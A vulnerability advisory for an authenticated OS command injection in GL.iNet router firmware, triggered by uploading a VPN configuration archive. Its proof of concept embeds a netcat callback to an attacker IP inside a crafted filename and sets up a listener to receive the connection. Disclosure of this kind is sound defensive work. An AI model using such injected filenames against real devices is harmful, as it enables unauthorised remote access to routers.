OS Command Injection in Various GL.INet Devices

CVE Details

Description:

Due to a an improper neutralization of special elements used in an OS command inside the OpenVPN and WireGuard APIs of the GL-iNet firmware, an authenticated attacker can inject and execute arbitrary shell commands by uploading client configuration archives that contain files with specifically crafted file names.

The web application component ovpn-client.so is vulnerable to authenticated remote code execution in the check_ovpn_client_config and in the check_config functions. Shell commands can be injected as part of the filename of the ovpn-client configuration file which is part of an archive which can then be uploaded to the web application. The application does not validate the archived configuration files when executing the function check_ovpn_client_config(). Filenames with the extension .ovpn, .txt, .crt or .conf are embedded in a system call so that shell commands embedded in the filename are executed. For an exploit, archives with the extensions .tar, .gz or .zip can be used.

By invoking the interface for ovpn, arbitrary shell commands can be executed to manipulate the router or to gain access to the routers OS. As a proof of concept the following steps can be performed:

1.    Create a configuration file with a shell command in the filename: touch '$(nc 192.168.8.178 4444).txt'

2.    Use the previously created configuration file to create, for example, a tar archive: tar -cvf rce.tar '$(nc 192.168.8.178 4444).txt'

3.    Start an nc listener on the attacker's machine: nc -lvp 4444

4.    Use the upload function of the web application with the ovpn configuration to upload the tar archive file to the web application

5.    Then, a connection will be seen returning to the attacker's machine.

Remediation:

Update firmware to the latest available version, at least to (depending on model):
3.2.18, 4.3.17, 4.4.9, 4.5.17, 4.6.2

References:

• https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Ovpn interface shell injection.md

Timeline:

2024-05-05: Vulnerability reported to GL-iNet

2024-05-30: Vulnerability was fixed

2024-08-01: GL-iNet published vendor security advisory

2024-08-06: CVE published